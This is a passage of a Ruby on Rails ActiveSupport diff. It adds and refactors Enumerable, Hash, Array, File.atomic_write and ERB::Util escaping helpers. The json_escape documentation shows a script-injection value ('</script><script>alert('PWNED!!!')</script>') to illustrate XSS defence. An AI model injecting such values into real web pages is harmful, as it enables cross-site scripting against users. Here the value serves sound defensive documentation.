+  #   { a: "", b: 1, c: nil, d: [], e: false, f: true }.compact_blank
+  #   # => { b: 1, f: true }
+  def compact_blank
+    reject(&:blank?)
+  end
+
+  # Returns a new +Array+ where the order has been set to that provided in the +series+, based on the +key+ of the
+  # objects in the original enumerable.
+  #
+  #   [ Person.find(5), Person.find(3), Person.find(1) ].in_order_of(:id, [ 1, 5, 3 ])
+  #   # => [ Person.find(1), Person.find(5), Person.find(3) ]
+  #
+  # If the +series+ include keys that have no corresponding element in the Enumerable, these are ignored.
+  # If the Enumerable has additional elements that aren't named in the +series+, these are not included in the result, unless
+  # the +filter+ option is set to +false+.
+  def in_order_of(key, series, filter: true)
+    if filter
+      group_by(&key).values_at(*series).flatten(1).compact
+    else
+      sort_by { |v| series.index(v.public_send(key)) || series.size }.compact
+    end
+  end
+
+  # Returns the sole item in the enumerable. If there are no items, or more
+  # than one item, raises Enumerable::SoleItemExpectedError.
+  #
+  #   ["x"].sole          # => "x"
+  #   Set.new.sole        # => Enumerable::SoleItemExpectedError: no item found
+  #   { a: 1, b: 2 }.sole # => Enumerable::SoleItemExpectedError: multiple items found
+  def sole
+    result = nil
+    found = false
+
+    each do |*element|
+      if found
+        raise SoleItemExpectedError, "multiple items found"
+      end
+
+      result = element.size == 1 ? element[0] : element
+      found = true
+    end
+
+    if found
+      result
+    else
+      raise SoleItemExpectedError, "no item found"
     end
   end
 end
 
-class Range #:nodoc:
+class Hash
+  # Hash#reject has its own definition, so this needs one too.
+  def compact_blank # :nodoc:
+    reject { |_k, v| v.blank? }
+  end
+
+  # Removes all blank values from the +Hash+ in place and returns self.
+  # Uses Object#blank? for determining if a value is blank.
+  #
+  #   h = { a: "", b: 1, c: nil, d: [], e: false, f: true }
+  #   h.compact_blank!
+  #   # => { b: 1, f: true }
+  def compact_blank!
+    # use delete_if rather than reject! because it always returns self even if nothing changed
+    delete_if { |_k, v| v.blank? }
+  end
+end
+
+class Range # :nodoc:
   # Optimize range sum to use arithmetic progression if a block is not given and
   # we have a range of numeric values.
-  def sum(identity = nil)
+  def sum(initial_value = 0)
     if block_given? || !(first.is_a?(Integer) && last.is_a?(Integer))
       super
     else
       actual_last = exclude_end? ? (last - 1) : last
       if actual_last >= first
-        sum = identity || 0
+        sum = initial_value || 0
         sum + (actual_last - first + 1) * (actual_last + first) / 2
       else
-        identity || 0
+        initial_value || 0
       end
     end
   end
 end
 
-# Array#sum was added in Ruby 2.4 but it only works with Numeric elements.
-#
-# We tried shimming it to attempt the fast native method, rescue TypeError,
-# and fall back to the compatible implementation, but that's much slower than
-# just calling the compat method in the first place.
-if Array.instance_methods(false).include?(:sum) && !(%w[a].sum rescue false)
-  # Using Refinements here in order not to expose our internal method
-  using Module.new {
-    refine Array do
-      alias :orig_sum :sum
-    end
-  }
-
-  class Array
-    def sum(init = nil, &block) #:nodoc:
-      if init.is_a?(Numeric) || first.is_a?(Numeric)
-        init ||= 0
-        orig_sum(init, &block)
-      else
-        super
-      end
-    end
+class Array # :nodoc:
+  # Removes all blank elements from the +Array+ in place and returns self.
+  # Uses Object#blank? for determining if an item is blank.
+  #
+  #   a = [1, "", nil, 2, " ", [], {}, false, true]
+  #   a.compact_blank!
+  #   # =>  [1, 2, true]
+  def compact_blank!
+    # use delete_if rather than reject! because it always returns self even if nothing changed
+    delete_if(&:blank?)
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/erb/util.rb b/activesupport/lib/active_support/core_ext/erb/util.rb
new file mode 100644
index 0000000000000..cbf5cb4a8c88a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/erb/util.rb
@@ -0,0 +1,201 @@
+# frozen_string_literal: true
+
+require "strscan"
+require "erb"
+
+module ActiveSupport
+  module CoreExt
+    module ERBUtil
+      # HTML escapes strings but doesn't wrap them with an ActiveSupport::SafeBuffer.
+      # This method is not for public consumption! Seriously!
+      def html_escape(s) # :nodoc:
+        s = s.to_s
+        if s.html_safe?
+          s
+        else
+          super(s)
+        end
+      end
+      alias :unwrapped_html_escape :html_escape # :nodoc:
+
+      # A utility method for escaping HTML tag characters.
+      # This method is also aliased as <tt>h</tt>.
+      #
+      #   puts html_escape('is a > 0 & a < 10?')
+      #   # => is a &gt; 0 &amp; a &lt; 10?
+      def html_escape(s) # rubocop:disable Lint/DuplicateMethods
+        unwrapped_html_escape(s).html_safe
+      end
+      alias h html_escape
+    end
+
+    module ERBUtilPrivate
+      include ERBUtil
+      private :unwrapped_html_escape, :html_escape, :h
+    end
+  end
+end
+
+class ERB
+  module Util
+    HTML_ESCAPE = { "&" => "&amp;",  ">" => "&gt;",   "<" => "&lt;", '"' => "&quot;", "'" => "&#39;" }
+    HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+)|(#[xX][\dA-Fa-f]+));)/
+
+    # Following XML requirements: https://www.w3.org/TR/REC-xml/#NT-Name
+    TAG_NAME_START_CODEPOINTS = "@:A-Z_a-z\u{C0}-\u{D6}\u{D8}-\u{F6}\u{F8}-\u{2FF}\u{370}-\u{37D}\u{37F}-\u{1FFF}" \
+                                "\u{200C}-\u{200D}\u{2070}-\u{218F}\u{2C00}-\u{2FEF}\u{3001}-\u{D7FF}\u{F900}-\u{FDCF}" \
+                                "\u{FDF0}-\u{FFFD}\u{10000}-\u{EFFFF}"
+    INVALID_TAG_NAME_START_REGEXP = /[^#{TAG_NAME_START_CODEPOINTS}]/
+    TAG_NAME_FOLLOWING_CODEPOINTS = "#{TAG_NAME_START_CODEPOINTS}\\-.0-9\u{B7}\u{0300}-\u{036F}\u{203F}-\u{2040}"
+    INVALID_TAG_NAME_FOLLOWING_REGEXP = /[^#{TAG_NAME_FOLLOWING_CODEPOINTS}]/
+    SAFE_XML_TAG_NAME_REGEXP = /\A[#{TAG_NAME_START_CODEPOINTS}][#{TAG_NAME_FOLLOWING_CODEPOINTS}]*\z/
+    TAG_NAME_REPLACEMENT_CHAR = "_"
+
+    prepend ActiveSupport::CoreExt::ERBUtilPrivate
+    singleton_class.prepend ActiveSupport::CoreExt::ERBUtil
+
+    # A utility method for escaping HTML without affecting existing escaped entities.
+    #
+    #   html_escape_once('1 < 2 &amp; 3')
+    #   # => "1 &lt; 2 &amp; 3"
+    #
+    #   html_escape_once('&lt;&lt; Accept & Checkout')
+    #   # => "&lt;&lt; Accept &amp; Checkout"
+    def html_escape_once(s)
+      s.to_s.gsub(HTML_ESCAPE_ONCE_REGEXP, HTML_ESCAPE).html_safe
+    end
+
+    module_function :html_escape_once
+
+    # A utility method for escaping HTML entities in JSON strings. Specifically, the
+    # &, > and < characters are replaced with their equivalent unicode escaped form -
+    # \u0026, \u003e, and \u003c. The Unicode sequences \u2028 and \u2029 are also
+    # escaped as they are treated as newline characters in some JavaScript engines.
+    # These sequences have identical meaning as the original characters inside the
+    # context of a JSON string, so assuming the input is a valid and well-formed
+    # JSON value, the output will have equivalent meaning when parsed:
+    #
+    #   json = JSON.generate({ name: "</script><script>alert('PWNED!!!')</script>"})
+    #   # => "{\"name\":\"</script><script>alert('PWNED!!!')</script>\"}"
+    #
+    #   json_escape(json)
+    #   # => "{\"name\":\"\\u003C/script\\u003E\\u003Cscript\\u003Ealert('PWNED!!!')\\u003C/script\\u003E\"}"
+    #
+    #   JSON.parse(json) == JSON.parse(json_escape(json))
+    #   # => true
+    #
+    # The intended use case for this method is to escape JSON strings before including
+    # them inside a script tag to avoid XSS vulnerability:
+    #
+    #   <script>
+    #     var currentUser = <%= raw json_escape(current_user.to_json) %>;
+    #   </script>
+    #
+    # It is necessary to +raw+ the result of +json_escape+, so that quotation marks
+    # don't get converted to <tt>&quot;</tt> entities. +json_escape+ doesn't
+    # automatically flag the result as HTML safe, since the raw value is unsafe to
+    # use inside HTML attributes.
+    #
+    # If your JSON is being used downstream for insertion into the DOM, be aware of
+    # whether or not it is being inserted via <tt>html()</tt>. Most jQuery plugins do this.
+    # If that is the case, be sure to +html_escape+ or +sanitize+ any user-generated
+    # content returned by your JSON.
+    #
+    # If you need to output JSON elsewhere in your HTML, you can just do something
+    # like this, as any unsafe characters (including quotation marks) will be
+    # automatically escaped for you:
+    #
+    #   <div data-user-info="<%= current_user.to_json %>">...</div>
+    #
+    # WARNING: this helper only works with valid JSON. Using this on non-JSON values
+    # will open up serious XSS vulnerabilities. For example, if you replace the
+    # +current_user.to_json+ in the example above with user input instead, the browser
+    # will happily <tt>eval()</tt> that string as JavaScript.
+    #
+    # The escaping performed in this method is identical to those performed in the
+    # Active Support JSON encoder when +ActiveSupport.escape_html_entities_in_json+ is
+    # set to true. Because this transformation is idempotent, this helper can be
+    # applied even if +ActiveSupport.escape_html_entities_in_json+ is already true.
+    #
+    # Therefore, when you are unsure if +ActiveSupport.escape_html_entities_in_json+
+    # is enabled, or if you are unsure where your JSON string originated from, it
+    # is recommended that you always apply this helper (other libraries, such as the
+    # JSON gem, do not provide this kind of protection by default; also some gems
+    # might override +to_json+ to bypass Active Support's encoder).
+    def json_escape(s)
+      result = s.to_s.dup
+      result.gsub!(">", '\u003e')
+      result.gsub!("<", '\u003c')
+      result.gsub!("&", '\u0026')
+      result.gsub!("\u2028", '\u2028')
+      result.gsub!("\u2029", '\u2029')
+      s.html_safe? ? result.html_safe : result
+    end
+
+    module_function :json_escape
+
+    # A utility method for escaping XML names of tags and names of attributes.
+    #
+    #   xml_name_escape('1 < 2 & 3')
+    #   # => "1___2___3"
+    #
+    # It follows the requirements of the specification: https://www.w3.org/TR/REC-xml/#NT-Name
+    def xml_name_escape(name)
+      name = name.to_s
+      return "" if name.blank?
+      return name if name.match?(SAFE_XML_TAG_NAME_REGEXP)
+
+      starting_char = name[0]
+      starting_char.gsub!(INVALID_TAG_NAME_START_REGEXP, TAG_NAME_REPLACEMENT_CHAR)
+
+      return starting_char if name.size == 1
+
+      following_chars = name[1..-1]
+      following_chars.gsub!(INVALID_TAG_NAME_FOLLOWING_REGEXP, TAG_NAME_REPLACEMENT_CHAR)
+
+      starting_char << following_chars
+    end
+    module_function :xml_name_escape
+
+    # Tokenizes a line of ERB.  This is really just for error reporting and
+    # nobody should use it.
+    def self.tokenize(source) # :nodoc:
+      source = StringScanner.new(source.chomp)
+      tokens = []
+
+      start_re = /<%(?:={1,2}|-|\#|%)?/m
+      finish_re = /(?:[-=])?%>/m
+
+      while !source.eos?
+        pos = source.pos
+        source.scan_until(/(?:#{start_re}|#{finish_re})/)
+        return [[:PLAIN, source.string]] unless source.matched?
+        len = source.pos - source.matched.bytesize - pos
+
+        case source.matched
+        when start_re
+          tokens << [:TEXT, source.string.byteslice(pos, len)] if len > 0
+          tokens << [:OPEN, source.matched]
+          if source.scan(/(.*?)(?=#{finish_re}|\z)/m)
+            tokens << [:CODE, source.matched] unless source.matched.empty?
+            tokens << [:CLOSE, source.scan(finish_re)] unless source.eos?
+          else
+            raise NotImplementedError
+          end
+        when finish_re
+          tokens << [:CODE, source.string.byteslice(pos, len)] if len > 0
+          tokens << [:CLOSE, source.matched]
+        else
+          raise NotImplementedError, source.matched
+        end
+
+        unless source.eos? || source.exist?(start_re) || source.exist?(finish_re)
+          tokens << [:TEXT, source.rest]
+          source.terminate
+        end
+      end
+
+      tokens
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/file.rb b/activesupport/lib/active_support/core_ext/file.rb
index 6d99bad2afb30..3c2364167dd6e 100644
--- a/activesupport/lib/active_support/core_ext/file.rb
+++ b/activesupport/lib/active_support/core_ext/file.rb
@@ -1 +1,3 @@
-require "active_support/core_ext/file/atomic"
+# frozen_string_literal: true
+
+require_relative "file/atomic"
diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb
index 8d6c0d3685231..f85f3e91c7042 100644
--- a/activesupport/lib/active_support/core_ext/file/atomic.rb
+++ b/activesupport/lib/active_support/core_ext/file/atomic.rb
@@ -1,4 +1,6 @@
-require "fileutils"
+# frozen_string_literal: true
+
+require "securerandom"
 
 class File
   # Write to a file atomically. Useful for situations where you don't
@@ -17,21 +19,18 @@ class File
   #     file.write('hello')
   #   end
   def self.atomic_write(file_name, temp_dir = dirname(file_name))
-    require "tempfile" unless defined?(Tempfile)
+    old_stat = begin
+      File.stat(file_name)
+    rescue SystemCallError
+      nil
+    end
 
-    Tempfile.open(".#{basename(file_name)}", temp_dir) do |temp_file|
+    # Names can't be longer than 255B
+    tmp_suffix = ".tmp.#{SecureRandom.hex}"
+    tmp_name = ".#{basename(file_name).byteslice(0, 254 - tmp_suffix.bytesize)}"
+    tmp_path = File.join(temp_dir, tmp_name)
+    open(tmp_path, RDWR | CREAT | EXCL | SHARE_DELETE | BINARY) do |temp_file|
       temp_file.binmode
-      return_val = yield temp_file
-      temp_file.close
-
-      old_stat = if exist?(file_name)
-        # Get original file permissions
-        stat(file_name)
-      elsif temp_dir != dirname(file_name)
-        # If not possible, probe which are the default permissions in the
-        # destination directory.
-        probe_stat_in(dirname(file_name))
-      end
 
       if old_stat
         # Set correct permissions on new file
@@ -44,25 +43,14 @@ def self.atomic_write(file_name, temp_dir = dirname(file_name))
         end
       end
 
-      # Overwrite original file with temp file
+      return_val = yield temp_file
+    rescue => error
+      temp_file.close rescue nil
+      unlink(temp_file.path) rescue nil
+      raise error
+    else
       rename(temp_file.path, file_name)
       return_val
     end
   end
-
-  # Private utility method.
-  def self.probe_stat_in(dir) #:nodoc:
-    basename = [
-      ".permissions_check",
-      Thread.current.object_id,
-      Process.pid,
-      rand(1000000)
-    ].join(".")
-
-    file_name = join(dir, basename)
-    FileUtils.touch(file_name)
-    stat(file_name)
-  ensure
-    FileUtils.rm_f(file_name) if file_name
-  end
 end
diff --git a/activesupport/lib/active_support/core_ext/hash.rb b/activesupport/lib/active_support/core_ext/hash.rb
index c819307e8a5fe..363cd8bf10ca6 100644
--- a/activesupport/lib/active_support/core_ext/hash.rb
+++ b/activesupport/lib/active_support/core_ext/hash.rb
@@ -1,9 +1,10 @@
-require "active_support/core_ext/hash/compact"
-require "active_support/core_ext/hash/conversions"
-require "active_support/core_ext/hash/deep_merge"
-require "active_support/core_ext/hash/except"
-require "active_support/core_ext/hash/indifferent_access"
-require "active_support/core_ext/hash/keys"
-require "active_support/core_ext/hash/reverse_merge"
-require "active_support/core_ext/hash/slice"
-require "active_support/core_ext/hash/transform_values"
+# frozen_string_literal: true
+
+require_relative "hash/conversions"
+require_relative "hash/deep_merge"
+require_relative "hash/deep_transform_values"
+require_relative "hash/except"
+require_relative "hash/indifferent_access"
+require_relative "hash/keys"
+require_relative "hash/reverse_merge"
+require_relative "hash/slice"
diff --git a/activesupport/lib/active_support/core_ext/hash/compact.rb b/activesupport/lib/active_support/core_ext/hash/compact.rb
deleted file mode 100644
index e357284be099a..0000000000000
--- a/activesupport/lib/active_support/core_ext/hash/compact.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-class Hash
-  unless Hash.instance_methods(false).include?(:compact)
-    # Returns a hash with non +nil+ values.
-    #
-    #   hash = { a: true, b: false, c: nil }
-    #   hash.compact        # => { a: true, b: false }
-    #   hash                # => { a: true, b: false, c: nil }
-    #   { c: nil }.compact  # => {}
-    #   { c: true }.compact # => { c: true }
-    def compact
-      select { |_, value| !value.nil? }
-    end
-  end
-
-  unless Hash.instance_methods(false).include?(:compact!)
-    # Replaces current hash with non +nil+ values.
-    # Returns +nil+ if no changes were made, otherwise returns the hash.
-    #
-    #   hash = { a: true, b: false, c: nil }
-    #   hash.compact!        # => { a: true, b: false }
-    #   hash                 # => { a: true, b: false }
-    #   { c: true }.compact! # => nil
-    def compact!
-      reject! { |_, value| value.nil? }
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
index 2a58a7f1ca934..30d194eda46b4 100644
--- a/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -1,8 +1,9 @@
-require "active_support/xml_mini"
-require "active_support/time"
+# frozen_string_literal: true
+
 require "active_support/core_ext/object/blank"
 require "active_support/core_ext/object/to_param"
 require "active_support/core_ext/object/to_query"
+require "active_support/core_ext/object/try"
 require "active_support/core_ext/array/wrap"
 require "active_support/core_ext/hash/reverse_merge"
 require "active_support/core_ext/string/inflections"
@@ -67,11 +68,11 @@ class Hash
   #
   # By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
   #
-  # The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can
-  # configure your own builder with the <tt>:builder</tt> option. The method also accepts
+  # The default XML builder is a fresh instance of +Builder::XmlMarkup+. You can
+  # configure your own builder with the +:builder+ option. The method also accepts
   # options like <tt>:dasherize</tt> and friends, they are forwarded to the builder.
   def to_xml(options = {})
-    require "active_support/builder" unless defined?(Builder)
+    require "active_support/builder" unless defined?(Builder::XmlMarkup)
 
     options = options.dup
     options[:indent]  ||= 2
@@ -93,7 +94,7 @@ class << self
     # Returns a Hash containing a collection of pairs when the key is the node name and the value is
     # its content
     #
-    #   xml = <<-XML
+    #   xml = <<~XML
     #     <?xml version="1.0" encoding="UTF-8"?>
     #       <hash>
     #         <foo type="integer">1</foo>
@@ -111,7 +112,7 @@ class << self
     # Custom +disallowed_types+ can also be passed in the form of an
     # array.
     #
-    #   xml = <<-XML
+    #   xml = <<~XML
     #     <?xml version="1.0" encoding="UTF-8"?>
     #       <hash>
     #         <foo type="integer">1</foo>
@@ -163,7 +164,7 @@ def normalize_keys(params)
           Hash[params.map { |k, v| [k.to_s.tr("-", "_"), normalize_keys(v)] } ]
         when Array
           params.map { |v| normalize_keys(v) }
-          else
+        else
           params
         end
       end
@@ -176,7 +177,7 @@ def deep_to_h(value)
           process_array(value)
         when String
           value
-          else
+        else
           raise "can't typecast #{value.class.name} - #{value.inspect}"
         end
       end
@@ -206,7 +207,7 @@ def process_hash(value)
         elsif become_empty_string?(value)
           ""
         elsif become_hash?(value)
-          xml_value = Hash[value.map { |k, v| [k, deep_to_h(v)] }]
+          xml_value = value.transform_values { |v| deep_to_h(v) }
 
           # Turn { files: { file: #<StringIO> } } into { files: #<StringIO> } so it is compatible with
           # how multipart uploaded files from HTML appear
diff --git a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
index 9c9faf67eab32..9af3572ac0275 100644
--- a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
+++ b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
@@ -1,4 +1,14 @@
+# frozen_string_literal: true
+
+require "active_support/deep_mergeable"
+
 class Hash
+  include ActiveSupport::DeepMergeable
+
+  ##
+  # :method: deep_merge
+  # :call-seq: deep_merge(other_hash, &block)
+  #
   # Returns a new hash with +self+ and +other_hash+ merged recursively.
   #
   #   h1 = { a: true, b: { c: [1, 2, 3] } }
@@ -13,26 +23,21 @@ class Hash
   #   h2 = { b: 250, c: { c1: 200 } }
   #   h1.deep_merge(h2) { |key, this_val, other_val| this_val + other_val }
   #   # => { a: 100, b: 450, c: { c1: 300 } }
-  def deep_merge(other_hash, &block)
-    dup.deep_merge!(other_hash, &block)
-  end
-
-  # Same as +deep_merge+, but modifies +self+.
-  def deep_merge!(other_hash, &block)
-    other_hash.each_pair do |current_key, other_value|
-      this_value = self[current_key]
+  #
+  #--
+  # Implemented by ActiveSupport::DeepMergeable#deep_merge.
 
-      self[current_key] = if this_value.is_a?(Hash) && other_value.is_a?(Hash)
-        this_value.deep_merge(other_value, &block)
-      else
-        if block_given? && key?(current_key)
-          block.call(current_key, this_value, other_value)
-        else
-          other_value
-        end
-      end
-    end
+  ##
+  # :method: deep_merge!
+  # :call-seq: deep_merge!(other_hash, &block)
+  #
+  # Same as #deep_merge, but modifies +self+.
+  #
+  #--
+  # Implemented by ActiveSupport::DeepMergeable#deep_merge!.
 
-    self
+  ##
+  def deep_merge?(other) # :nodoc:
+    other.is_a?(Hash)
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/hash/deep_transform_values.rb b/activesupport/lib/active_support/core_ext/hash/deep_transform_values.rb
new file mode 100644
index 0000000000000..f7aeae5bed2a0
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/deep_transform_values.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+class Hash
+  # Returns a new hash with all values converted by the block operation.
+  # This includes the values from the root hash and from all
+  # nested hashes and arrays.
+  #
+  #   hash = { person: { name: 'Rob', age: '28' } }
+  #
+  #   hash.deep_transform_values{ |value| value.to_s.upcase }
+  #   # => {person: {name: "ROB", age: "28"}}
+  def deep_transform_values(&block)
+    _deep_transform_values_in_object(self, &block)
+  end
+
+  # Destructively converts all values by using the block operation.
+  # This includes the values from the root hash and from all
+  # nested hashes and arrays.
+  def deep_transform_values!(&block)
+    _deep_transform_values_in_object!(self, &block)
+  end
+
+  private
+    # Support methods for deep transforming nested hashes and arrays.
+    def _deep_transform_values_in_object(object, &block)
+      case object
+      when Hash
+        object.transform_values { |value| _deep_transform_values_in_object(value, &block) }
+      when Array
+        object.map { |e| _deep_transform_values_in_object(e, &block) }
+      else
+        yield(object)
+      end
+    end
+
+    def _deep_transform_values_in_object!(object, &block)
+      case object
+      when Hash
+        object.transform_values! { |value| _deep_transform_values_in_object!(value, &block) }
+      when Array
+        object.map! { |e| _deep_transform_values_in_object!(e, &block) }
+      else
+        yield(object)
+      end
+    end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb
index 2f6d38c1f6e79..d94acd7438bcf 100644
--- a/activesupport/lib/active_support/core_ext/hash/except.rb
+++ b/activesupport/lib/active_support/core_ext/hash/except.rb
@@ -1,16 +1,6 @@
-class Hash
-  # Returns a hash that includes everything except given keys.
-  #   hash = { a: true, b: false, c: nil }
-  #   hash.except(:c)     # => { a: true, b: false }
-  #   hash.except(:a, :b) # => { c: nil }
-  #   hash                # => { a: true, b: false, c: nil }
-  #
-  # This is useful for limiting a set of parameters to everything but a few known toggles:
-  #   @person.update(params[:person].except(:admin))
-  def except(*keys)
-    dup.except!(*keys)
-  end
+# frozen_string_literal: true
 
+class Hash
   # Removes the given keys from hash and returns it.
   #   hash = { a: true, b: false, c: nil }
   #   hash.except!(:c) # => { a: true, b: false }
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
index 3e1ccecb6c0ab..4437363c49730 100644
--- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require "active_support/hash_with_indifferent_access"
 
 class Hash
-  # Returns an <tt>ActiveSupport::HashWithIndifferentAccess</tt> out of its receiver:
+  # Returns an ActiveSupport::HashWithIndifferentAccess out of its receiver:
   #
   #   { a: 1 }.with_indifferent_access['a'] # => 1
   def with_indifferent_access
@@ -11,8 +13,8 @@ def with_indifferent_access
   # Called when object is nested under an object that receives
   # #with_indifferent_access. This method will be called on the current object
   # by the enclosing object and is aliased to #with_indifferent_access by
-  # default. Subclasses of Hash may overwrite this method to return +self+ if
-  # converting to an <tt>ActiveSupport::HashWithIndifferentAccess</tt> would not be
+  # default. Subclasses of Hash may override this method to return +self+ if
+  # converting to an ActiveSupport::HashWithIndifferentAccess would not be
   # desirable.
   #
   #   b = { b: 1 }
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
index b7089357a8900..fd74f0300223d 100644
--- a/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -1,33 +1,6 @@
-class Hash
-  # Returns a new hash with all keys converted using the +block+ operation.
-  #
-  #  hash = { name: 'Rob', age: '28' }
-  #
-  #  hash.transform_keys { |key| key.to_s.upcase } # => {"NAME"=>"Rob", "AGE"=>"28"}
-  #
-  # If you do not provide a +block+, it will return an Enumerator
-  # for chaining with other methods:
-  #
-  #  hash.transform_keys.with_index { |k, i| [k, i].join } # => {"name0"=>"Rob", "age1"=>"28"}
-  def transform_keys
-    return enum_for(:transform_keys) { size } unless block_given?
-    result = {}
-    each_key do |key|
-      result[yield(key)] = self[key]
-    end
-    result
-  end
-
-  # Destructively converts all keys using the +block+ operations.
-  # Same as +transform_keys+ but modifies +self+.
-  def transform_keys!
-    return enum_for(:transform_keys!) { size } unless block_given?
-    keys.each do |key|
-      self[yield(key)] = delete(key)
-    end
-    self
-  end
+# frozen_string_literal: true
 
+class Hash
   # Returns a new hash with all keys converted to strings.
   #
   #   hash = { name: 'Rob', age: '28' }
@@ -35,13 +8,13 @@ def transform_keys!
   #   hash.stringify_keys
   #   # => {"name"=>"Rob", "age"=>"28"}
   def stringify_keys
-    transform_keys(&:to_s)
+    transform_keys { |k| Symbol === k ? k.name : k.to_s }
   end
 
   # Destructively converts all keys to strings. Same as
   # +stringify_keys+, but modifies +self+.
   def stringify_keys!
-    transform_keys!(&:to_s)
+    transform_keys! { |k| Symbol === k ? k.name : k.to_s }
   end
 
   # Returns a new hash with all keys converted to symbols, as long as
@@ -85,10 +58,10 @@ def assert_valid_keys(*valid_keys)
   # This includes the keys from the root hash and from all
   # nested hashes and arrays.
   #
-  #  hash = { person: { name: 'Rob', age: '28' } }
+  #   hash = { person: { name: 'Rob', age: '28' } }
   #
-  #  hash.deep_transform_keys{ |key| key.to_s.upcase }
-  #  # => {"PERSON"=>{"NAME"=>"Rob", "AGE"=>"28"}}
+  #   hash.deep_transform_keys{ |key| key.to_s.upcase }
+  #   # => {"PERSON"=>{"NAME"=>"Rob", "AGE"=>"28"}}
   def deep_transform_keys(&block)
     _deep_transform_keys_in_object(self, &block)
   end
@@ -109,14 +82,14 @@ def deep_transform_keys!(&block)
   #   hash.deep_stringify_keys
   #   # => {"person"=>{"name"=>"Rob", "age"=>"28"}}
   def deep_stringify_keys
-    deep_transform_keys(&:to_s)
+    deep_transform_keys { |k| Symbol === k ? k.name : k.to_s }
   end
 
   # Destructively converts all keys to strings.
   # This includes the keys from the root hash and from all
   # nested hashes and arrays.
   def deep_stringify_keys!
-    deep_transform_keys!(&:to_s)
+    deep_transform_keys! { |k| Symbol === k ? k.name : k.to_s }
   end
 
   # Returns a new hash with all keys converted to symbols, as long as
@@ -139,11 +112,11 @@ def deep_symbolize_keys!
   end
 
   private
-    # support methods for deep transforming nested hashes and arrays
+    # Support methods for deep transforming nested hashes and arrays.
     def _deep_transform_keys_in_object(object, &block)
       case object
       when Hash
-        object.each_with_object({}) do |(key, value), result|
+        object.each_with_object(self.class.new) do |(key, value), result|
           result[yield(key)] = _deep_transform_keys_in_object(value, &block)
         end
       when Array
diff --git a/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb b/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
index efb9d1b8a0014..ef8d592829a7a 100644
--- a/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
+++ b/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Hash
   # Merges the caller into +other_hash+. For example,
   #
@@ -12,11 +14,12 @@ class Hash
   def reverse_merge(other_hash)
     other_hash.merge(self)
   end
+  alias_method :with_defaults, :reverse_merge
 
   # Destructive +reverse_merge+.
   def reverse_merge!(other_hash)
-    # right wins if there is no left
-    merge!(other_hash) { |key, left, right| left }
+    replace(reverse_merge(other_hash))
   end
   alias_method :reverse_update, :reverse_merge!
+  alias_method :with_defaults!, :reverse_merge!
 end
diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb
index 161b00dfb3863..56bc5de382e68 100644
--- a/activesupport/lib/active_support/core_ext/hash/slice.rb
+++ b/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -1,35 +1,13 @@
-class Hash
-  # Slices a hash to include only the given keys. Returns a hash containing
-  # the given keys.
-  #
-  #   { a: 1, b: 2, c: 3, d: 4 }.slice(:a, :b)
-  #   # => {:a=>1, :b=>2}
-  #
-  # This is useful for limiting an options hash to valid keys before
-  # passing to a method:
-  #
-  #   def search(criteria = {})
-  #     criteria.assert_valid_keys(:mass, :velocity, :time)
-  #   end
-  #
-  #   search(options.slice(:mass, :velocity, :time))
-  #
-  # If you have an array of keys you want to limit to, you should splat them:
-  #
-  #   valid_keys = [:mass, :velocity, :time]
-  #   search(options.slice(*valid_keys))
-  def slice(*keys)
-    keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
-    keys.each_with_object(self.class.new) { |k, hash| hash[k] = self[k] if has_key?(k) }
-  end
+# frozen_string_literal: true
 
+class Hash
   # Replaces the hash with only the given keys.
   # Returns a hash containing the removed key/value pairs.
   #
-  #   { a: 1, b: 2, c: 3, d: 4 }.slice!(:a, :b)
-  #   # => {:c=>3, :d=>4}
+  #   hash = { a: 1, b: 2, c: 3, d: 4 }
+  #   hash.slice!(:a, :b)  # => {:c=>3, :d=>4}
+  #   hash                 # => {:a=>1, :b=>2}
   def slice!(*keys)
-    keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
     omit = slice(*self.keys - keys)
     hash = slice(*keys)
     hash.default      = default
@@ -40,8 +18,9 @@ def slice!(*keys)
 
   # Removes and returns the key/value pairs matching the given keys.
   #
-  #   { a: 1, b: 2, c: 3, d: 4 }.extract!(:a, :b) # => {:a=>1, :b=>2}
-  #   { a: 1, b: 2 }.extract!(:a, :x)             # => {:a=>1}
+  #   hash = { a: 1, b: 2, c: 3, d: 4 }
+  #   hash.extract!(:a, :b) # => {:a=>1, :b=>2}
